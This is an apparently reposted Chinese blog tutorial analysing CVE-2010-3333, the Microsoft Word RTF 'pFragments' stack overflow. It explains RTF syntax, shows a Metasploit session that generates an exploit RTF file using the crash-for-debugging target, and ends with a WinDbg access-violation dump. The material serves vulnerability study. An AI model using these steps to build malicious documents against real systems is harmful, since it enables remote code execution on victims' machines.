CVE-2010-3333 Microsoft RTF栈溢出漏洞分析

2023-11-01 21:50

本文主要是介绍CVE-2010-3333 Microsoft RTF栈溢出漏洞分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

参考:《漏洞战争》

漏洞描述

Microsoft Office XP SP3,Office 2003 SP3,Office 2007 SP2,Office 2010等多个版本的Office软件中的Open XML文件格式转换器存在栈溢出漏洞,主要是在处理RTF中的“pFragments”属性时存在栈溢出,导致远程攻击者可以借助特制的RTF数据执行任意代码,因此该漏洞又名“RTF栈缓冲区溢出漏洞”。

分析环境

所用环境
操作系统windows xp sp3
调试器windbg
漏洞软件office word 2003 sp3

RTF文件格式

RTF(Rich Text Format)格式是Microsoft公司为进行文本和图像信息格式的交换而制定的文件格式,它适用于不同的设备、操作环境和操作系统。RTF文件的基本元素是正文(TEXT)、控制字(Control Word)、控制符号(Control Symbol)和群组(Group)

(1)控制字是RTF用来标记打印控制符和管理文档信息的一种特殊格式的命令,RTF用它作为正文格式的控制代码,每个控制字均以一个反斜杠\开头,由a~z小写字母组成,通常应该不包含任何大写字母,而分隔符标志着控制字名称的结束。它的使用格式为:\字母序列<分隔符>

(2)控制符号由反斜杠后跟一个单独的、非字母的字符,表示一个特定的符号

(3)群组由包含在大括号中的文本、控制字或控制符组成。左括符’{‘表示组的开始,右括符’}'表示组的结束。每个组包括文本和文本的不同属性。RTF文件也能同时包括字体、格式、屏幕颜色、图形、脚注、注释(注解)、文件头和文件尾、摘要信息、域和书签的组合,以及文档、区段、段落和字符的格式属性

一个完整的RTF文件包括文件头<header>和文档区<document>两大部分,可以用下列的语法表示

<File> '{' <header> <document> '}'

通过微软官方文档的目录,我们大体可以了解到文件头和文档区各自所包含的数据,如下所示:

Content of an RTF fileHeaderRTF VersionCharacter SetUnicode RTFFont TableColor TableStyle SheetList TableTrack Changes(Revision Marks)Document AreaInformation GroupDocument Formatting PropertiesSection TextParagraph TextCharacter TextDocument VariablesBookmarksPicturesObjectsDrawing ObjectsWord 97-2000 RTF for Drawing Object(Shapes)FootnotesComments(Annotations)FieldsForm FieldsIndex EntriesBidrectional language Support

我们回头看下CVE-2010-3333的部分数据,如图所示
在这里插入图片描述
样本数据分析如下:

\rtf1——RTF版本
\ansi——支持ANSI字符集
\shp——绘图对象
\*\shpinst———图片引用
\sp——绘图对象属性定义
\sn pFragments——定义属性名称,pFragments段是图形的附加部分 属于数组结构。它允许图形包含多个路径和分段,该属性值列出图形的各个碎片
\sv——定义属性值

RTF分析器正是在解析pFragments属性值时,没有正确计算属性值所占的空间大小,导致栈溢出漏洞的发生

基于栈回溯的漏洞分析方法

用Metasploit生成样本

msf5 > search cve-2010-3333Matching Modules
================#  Name                                                    Disclosure Date  Rank   Check  Description-  ----                                                    ---------------  ----   -----  -----------0  exploit/windows/fileformat/ms10_087_rtf_pfragments_bof  2010-11-09       great  No     MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)msf5 > use 0
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > infoName: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bofPlatform: WindowsArch: Privileged: NoLicense: Metasploit Framework License (BSD)Rank: GreatDisclosed: 2010-11-09Provided by:wushi of team509unknownjduck <jduck@metasploit.com>DJ Manila Ice, Vesh, CAAvailable targets:Id  Name--  ----0   Automatic1   Microsoft Office 2002 SP3 English on Windows XP SP3 English2   Microsoft Office 2003 SP3 English on Windows XP SP3 English3   Microsoft Office 2007 SP0 English on Windows XP SP3 English4   Microsoft Office 2007 SP0 English on Windows Vista SP0 English5   Microsoft Office 2007 SP0 English on Windows 7 SP0 English6   Crash Target for DebuggingCheck supported:NoBasic options:Name      Current Setting  Required  Description----      ---------------  --------  -----------FILENAME  msf.rtf          yes       The file name.Payload information:Space: 512Avoid: 1 charactersDescription:This module exploits a stack-based buffer overflow in the handling of the 'pFragments' shape property within the Microsoft Word RTF parser. All versions of Microsoft Office 2010, 2007, 2003, and XP prior to the release of the MS10-087 bulletin are vulnerable. This module does not attempt to exploit the vulnerability via Microsoft Outlook. The Microsoft Word RTF parser was only used by default in versions of Microsoft Word itself prior to Office 2007. With the release of Office 2007, Microsoft began using the Word RTF parser, by default, to handle rich-text messages within Outlook as well. It was possible to configure Outlook 2003 and earlier to use the Microsoft Word engine too, but it was not a default setting. It appears as though Microsoft Office 2000 is not vulnerable. It is unlikely that Microsoft will confirm or deny this since Office 2000 has reached its support cycle end-of-life.References:https://cvedetails.com/cve/CVE-2010-3333/OSVDB (69085)https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/MS10-087http://www.securityfocus.com/bid/44652http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /home/kali/.msf4/local/msf.rtf
msf5 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > 

获取样本后,打开WINWORD.exe,并用WinDbg附加进程,然后选择打开msf.rtf,触发异常

(cfc.c08): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0000c8ac ebx=05000000 ecx=0000019b edx=00000000 esi=1104c24c edi=00130000
eip=30ed442c esp=00123d98 ebp=00123dd0 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Common Files\Microsoft Shared\office11\mso.dll 

这篇关于CVE-2010-3333 Microsoft RTF栈溢出漏洞分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/325983

相关文章

Redis主从/哨兵机制原理分析

《Redis主从/哨兵机制原理分析》本文介绍了Redis的主从复制和哨兵机制,主从复制实现了数据的热备份和负载均衡,而哨兵机制可以监控Redis集群,实现自动故障转移,哨兵机制通过监控、下线、选举和故... 目录一、主从复制1.1 什么是主从复制1.2 主从复制的作用1.3 主从复制原理1.3.1 全量复制

Redis主从复制的原理分析

《Redis主从复制的原理分析》Redis主从复制通过将数据镜像到多个从节点,实现高可用性和扩展性,主从复制包括初次全量同步和增量同步两个阶段,为优化复制性能,可以采用AOF持久化、调整复制超时时间、... 目录Redis主从复制的原理主从复制概述配置主从复制数据同步过程复制一致性与延迟故障转移机制监控与维

Redis连接失败:客户端IP不在白名单中的问题分析与解决方案

《Redis连接失败:客户端IP不在白名单中的问题分析与解决方案》在现代分布式系统中,Redis作为一种高性能的内存数据库,被广泛应用于缓存、消息队列、会话存储等场景,然而,在实际使用过程中,我们可能... 目录一、问题背景二、错误分析1. 错误信息解读2. 根本原因三、解决方案1. 将客户端IP添加到Re

Redis主从复制实现原理分析

《Redis主从复制实现原理分析》Redis主从复制通过Sync和CommandPropagate阶段实现数据同步,2.8版本后引入Psync指令,根据复制偏移量进行全量或部分同步,优化了数据传输效率... 目录Redis主DodMIK从复制实现原理实现原理Psync: 2.8版本后总结Redis主从复制实

锐捷和腾达哪个好? 两个品牌路由器对比分析

《锐捷和腾达哪个好?两个品牌路由器对比分析》在选择路由器时,Tenda和锐捷都是备受关注的品牌,各自有独特的产品特点和市场定位,选择哪个品牌的路由器更合适,实际上取决于你的具体需求和使用场景,我们从... 在选购路由器时,锐捷和腾达都是市场上备受关注的品牌,但它们的定位和特点却有所不同。锐捷更偏向企业级和专

Spring中Bean有关NullPointerException异常的原因分析

《Spring中Bean有关NullPointerException异常的原因分析》在Spring中使用@Autowired注解注入的bean不能在静态上下文中访问,否则会导致NullPointerE... 目录Spring中Bean有关NullPointerException异常的原因问题描述解决方案总结

python中的与时间相关的模块应用场景分析

《python中的与时间相关的模块应用场景分析》本文介绍了Python中与时间相关的几个重要模块:`time`、`datetime`、`calendar`、`timeit`、`pytz`和`dateu... 目录1. time 模块2. datetime 模块3. calendar 模块4. timeit

python-nmap实现python利用nmap进行扫描分析

《python-nmap实现python利用nmap进行扫描分析》Nmap是一个非常用的网络/端口扫描工具,如果想将nmap集成进你的工具里,可以使用python-nmap这个python库,它提供了... 目录前言python-nmap的基本使用PortScanner扫描PortScannerAsync异

Oracle数据库执行计划的查看与分析技巧

《Oracle数据库执行计划的查看与分析技巧》在Oracle数据库中,执行计划能够帮助我们深入了解SQL语句在数据库内部的执行细节,进而优化查询性能、提升系统效率,执行计划是Oracle数据库优化器为... 目录一、什么是执行计划二、查看执行计划的方法(一)使用 EXPLAIN PLAN 命令(二)通过 S

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置